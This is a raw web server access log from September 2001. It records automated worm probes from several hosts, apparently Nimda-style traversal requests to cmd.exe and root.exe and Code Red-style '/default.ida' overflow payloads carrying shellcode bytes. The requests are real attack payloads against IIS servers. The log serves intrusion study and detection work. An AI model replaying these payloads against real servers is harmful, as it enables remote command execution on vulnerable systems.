  12821. 20010920 07:24:02:  [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12822. 20010920 07:24:21:  [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12823. 20010920 07:24:39:  [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12824. 20010920 07:24:57:  [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12825. 20010920 07:25:16:  [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12826. 20010920 07:25:34:  [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12827. 20010920 07:25:52:  [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12828. 20010920 07:26:11:  [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12829. 20010920 07:26:29: YOGH            [szptt171.szptt.net.cn] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  12830. 20010920 07:29:37:  [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12831. 20010920 07:29:55: szptt171.szptt.net.cn [] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  12832. 20010920 07:29:56:  [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12833. 20010920 07:30:14: szptt171.szptt.net.cn [] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12834. 20010920 07:30:14: szptt171.szptt.net.cn [] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12835. 20010920 07:30:15: szptt171.szptt.net.cn [] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12836. 20010920 07:30:15: szptt171.szptt.net.cn [] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12837. 20010920 07:30:16: szptt171.szptt.net.cn [] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12838. 20010920 07:30:16: szptt171.szptt.net.cn [] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12839. 20010920 07:30:17: szptt171.szptt.net.cn [] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12840. 20010920 07:30:18: szptt171.szptt.net.cn [] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12841. 20010920 07:30:18: szptt171.szptt.net.cn [] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12842. 20010920 07:30:19: szptt171.szptt.net.cn [] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12843. 20010920 07:30:23: szptt171.szptt.net.cn [] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12844. 20010920 07:30:24: szptt171.szptt.net.cn [] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12845. 20010920 07:30:25: szptt171.szptt.net.cn [] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12846. 20010920 07:30:25: szptt171.szptt.net.cn [] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12847. 20010920 07:30:26:  [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  12848. 20010920 07:30:56:  [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  12849. 20010920 07:31:15:  [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12850. 20010920 07:31:33:  [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12851. 20010920 07:31:51:  [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12852. 20010920 07:32:10:  [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12853. 20010920 07:32:28:  [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12854. 20010920 07:32:46:  [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12855. 20010920 07:33:04:  [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12856. 20010920 07:33:23:  [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12857. 20010920 07:33:41:  [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12858. 20010920 07:33:59:  [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12859. 20010920 07:34:17:  [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12860. 20010920 07:34:36:  [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12861. 20010920 07:34:54:  [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12862. 20010920 07:35:12:  [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12863. 20010920 07:35:31:  [168.143.160.12] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  12864. 20010920 07:38:39:  [168.143.160.12] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  12865. 20010920 07:38:58:  [168.143.160.12] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12866. 20010920 07:39:16:  [168.143.160.12] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12867. 20010920 07:39:35:  [168.143.160.12] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12868. 20010920 07:39:53:  [168.143.160.12] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12869. 20010920 07:40:12:  [168.143.160.12] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12870. 20010920 07:40:30:  [168.143.160.12] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12871. 20010920 07:40:49:  [168.143.160.12] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12872. 20010920 07:41:07:  [168.143.160.12] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12873. 20010920 07:41:25:  [168.143.160.12] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12874. 20010920 07:41:44:  [168.143.160.12] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12875. 20010920 07:42:02:  [168.143.160.12] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12876. 20010920 07:42:21:  [168.143.160.12] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12877. 20010920 07:42:39:  [168.143.160.12] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12878. 20010920 07:42:57:  [168.143.160.12] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12879. 20010920 07:43:16: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  12880. 20010920 08:06:20:  [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  12881. 20010920 08:36:15:  [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  12882. 20010920 08:36:34:  [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12883. 20010920 08:36:52:  [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12884. 20010920 08:37:10:  [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12885. 20010920 08:37:29:  [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12886. 20010920 08:37:47:  [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  12887. 20010920 08:38:05:  [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12888. 20010920 08:38:23:  [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  12889. 20010920 08:38:42:  [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12890. 20010920 08:39:00:  [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12891. 20010920 08:39:19:  [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12892. 20010920 08:39:37:  [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12893. 20010920 08:39:55:  [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12894. 20010920 08:40:14:  [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12895. 20010920 08:40:32:  [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12896. 20010920 08:40:50:  [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12897. 20010920 08:41:09:  [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12898. 20010920 08:41:27:  [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12899. 20010920 08:41:45:  [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12900. 20010920 08:42:04:  [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12901. 20010920 08:42:22:  [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12902. 20010920 08:42:40:  [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12903. 20010920 08:42:59:  [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12904. 20010920 08:43:17:  [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12905. 20010920 08:43:35:  [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12906. 20010920 08:43:54:  [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12907. 20010920 08:44:12:  [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12908. 20010920 08:44:30:  [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12909. 20010920 08:44:48:  [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12910. 20010920 08:45:07:  [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12911. 20010920 08:45:25:  [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12912. 20010920 08:45:43:  [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  12913. 20010920 08:57:51:  [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  12914. 20010920 08:58:09:  [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12915. 20010920 08:58:27:  [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12916. 20010920 08:58:45:  [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12917. 20010920 08:59:04:  [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12918. 20010920 08:59:22:  [128.134.65.1] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  12919. 20010920 08:59:41:  [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12920. 20010920 08:59:59:  [128.134.65.1] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  12921. 20010920 09:00:17:  [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12922. 20010920 09:00:36:  [128.134.65.1] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12923. 20010920 09:00:54:  [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12924. 20010920 09:01:12:  [128.134.65.1] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12925. 20010920 09:01:31:  [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12926. 20010920 09:01:49:  [128.134.65.1] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12927. 20010920 09:02:07:  [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12928. 20010920 09:02:26:  [128.134.65.1] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12929. 20010920 09:02:44:  [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12930. 20010920 09:03:02:  [128.134.65.1] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12931. 20010920 09:03:21:  [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12932. 20010920 09:03:39:  [128.134.65.1] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12933. 20010920 09:03:57:  [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12934. 20010920 09:04:15:  [128.134.65.1] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12935. 20010920 09:04:34:  [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12936. 20010920 09:04:52:  [128.134.65.1] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12937. 20010920 09:05:11:  [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12938. 20010920 09:05:29:  [128.134.65.1] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12939. 20010920 09:05:47:  [128.134.65.1] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12940. 20010920 09:06:10:  [128.134.65.1] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12941. 20010920 09:06:32:  [128.134.65.1] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12942. 20010920 09:06:55:  [128.134.65.1] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12943. 20010920 09:07:17:  [128.134.65.1] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12944. 20010920 09:07:43: BOS-ADMIN98.BU.EDU [128.197.235.98] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  12945. 20010920 09:13:31: BOS-ADMIN98.BU.EDU [128.197.235.98] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  12946. 20010920 09:13:31: BOS-ADMIN98.BU.EDU [128.197.235.98] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12947. 20010920 09:13:31: BOS-ADMIN98.BU.EDU [128.197.235.98] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12948. 20010920 09:13:31: BOS-ADMIN98.BU.EDU [128.197.235.98] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12949. 20010920 09:13:32: BOS-ADMIN98.BU.EDU [128.197.235.98] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12950. 20010920 09:13:33: BOS-ADMIN98.BU.EDU [128.197.235.98] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12951. 20010920 09:13:33: BOS-ADMIN98.BU.EDU [128.197.235.98] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12952. 20010920 09:13:33: BOS-ADMIN98.BU.EDU [128.197.235.98] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12953. 20010920 09:13:33: BOS-ADMIN98.BU.EDU [128.197.235.98] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12954. 20010920 09:13:33: BOS-ADMIN98.BU.EDU [128.197.235.98] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12955. 20010920 09:13:34: BOS-ADMIN98.BU.EDU [128.197.235.98] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12956. 20010920 09:13:34: BOS-ADMIN98.BU.EDU [128.197.235.98] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12957. 20010920 09:13:34: BOS-ADMIN98.BU.EDU [128.197.235.98] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12958. 20010920 09:13:34: BOS-ADMIN98.BU.EDU [128.197.235.98] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12959. 20010920 09:13:34: BOS-ADMIN98.BU.EDU [128.197.235.98] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12960. 20010920 09:13:34:  [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  12961. 20010920 09:16:15:  [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  12962. 20010920 09:16:33:  [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12963. 20010920 09:16:51:  [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12964. 20010920 09:17:10:  [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12965. 20010920 09:17:28: BOS-ADMIN102.BU.EDU [128.197.235.102] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  12966. 20010920 09:17:28:  [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12967. 20010920 09:17:46: BOS-ADMIN102.BU.EDU [128.197.235.102] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  12968. 20010920 09:17:47:  [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12969. 20010920 09:18:05: BOS-ADMIN102.BU.EDU [128.197.235.102] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12970. 20010920 09:18:05:  [128.59.47.63] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12971. 20010920 09:18:23: BOS-ADMIN102.BU.EDU [128.197.235.102] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12972. 20010920 09:18:23:  [128.59.47.63] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12973. 20010920 09:18:42: BOS-ADMIN102.BU.EDU [128.197.235.102] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12974. 20010920 09:18:42:  [128.59.47.63] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12975. 20010920 09:19:00: BOS-ADMIN102.BU.EDU [128.197.235.102] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12976. 20010920 09:19:00:  [128.59.47.63] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12977. 20010920 09:19:18: BOS-ADMIN102.BU.EDU [128.197.235.102] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12978. 20010920 09:19:18:  [128.59.47.63] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12979. 20010920 09:19:37: BOS-ADMIN102.BU.EDU [128.197.235.102] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12980. 20010920 09:19:37:  [128.59.47.63] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12981. 20010920 09:19:55: BOS-ADMIN102.BU.EDU [128.197.235.102] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12982. 20010920 09:19:55:  [128.59.47.63] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12983. 20010920 09:20:13: BOS-ADMIN102.BU.EDU [128.197.235.102] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12984. 20010920 09:20:13:  [128.59.47.63] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12985. 20010920 09:20:32: BOS-ADMIN102.BU.EDU [128.197.235.102] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12986. 20010920 09:20:32:  [128.59.47.63] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12987. 20010920 09:20:50:  [195.55.131.2] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  12988. 20010920 09:24:07: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  12989. 20010920 09:27:17: BOS-ADMIN100.BU.EDU [128.197.235.100] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  12990. 20010920 09:46:17: BOS-ADMIN100.BU.EDU [128.197.235.100] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  12991. 20010920 09:46:17: BOS-ADMIN100.BU.EDU [128.197.235.100] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12992. 20010920 09:46:17: BOS-ADMIN100.BU.EDU [128.197.235.100] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12993. 20010920 09:46:17: BOS-ADMIN100.BU.EDU [128.197.235.100] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12994. 20010920 09:46:17: BOS-ADMIN100.BU.EDU [128.197.235.100] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12995. 20010920 09:46:18: BOS-ADMIN100.BU.EDU [128.197.235.100] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12996. 20010920 09:46:18: BOS-ADMIN100.BU.EDU [128.197.235.100] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12997. 20010920 09:46:18: BOS-ADMIN100.BU.EDU [128.197.235.100] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12998. 20010920 09:46:18: BOS-ADMIN100.BU.EDU [128.197.235.100] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  12999. 20010920 09:46:20: BOS-ADMIN100.BU.EDU [128.197.235.100] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13000. 20010920 09:46:23: BOS-ADMIN100.BU.EDU [128.197.235.100] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13001. 20010920 09:46:26: BOS-ADMIN100.BU.EDU [128.197.235.100] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13002. 20010920 09:46:26: BOS-ADMIN100.BU.EDU [128.197.235.100] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13003. 20010920 09:46:26: BOS-ADMIN100.BU.EDU [128.197.235.100] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13004. 20010920 09:46:27: BOS-ADMIN100.BU.EDU [128.197.235.100] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13005. 20010920 09:46:27:  [128.59.47.63] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  13006. 20010920 09:53:32:  [128.59.47.63] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  13007. 20010920 09:53:51:  [128.59.47.63] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13008. 20010920 09:54:09:  [128.59.47.63] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13009. 20010920 09:54:27:  [128.59.47.63] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13010. 20010920 09:54:46:  [128.59.47.63] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  13011. 20010920 09:55:04:  [128.59.47.63] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
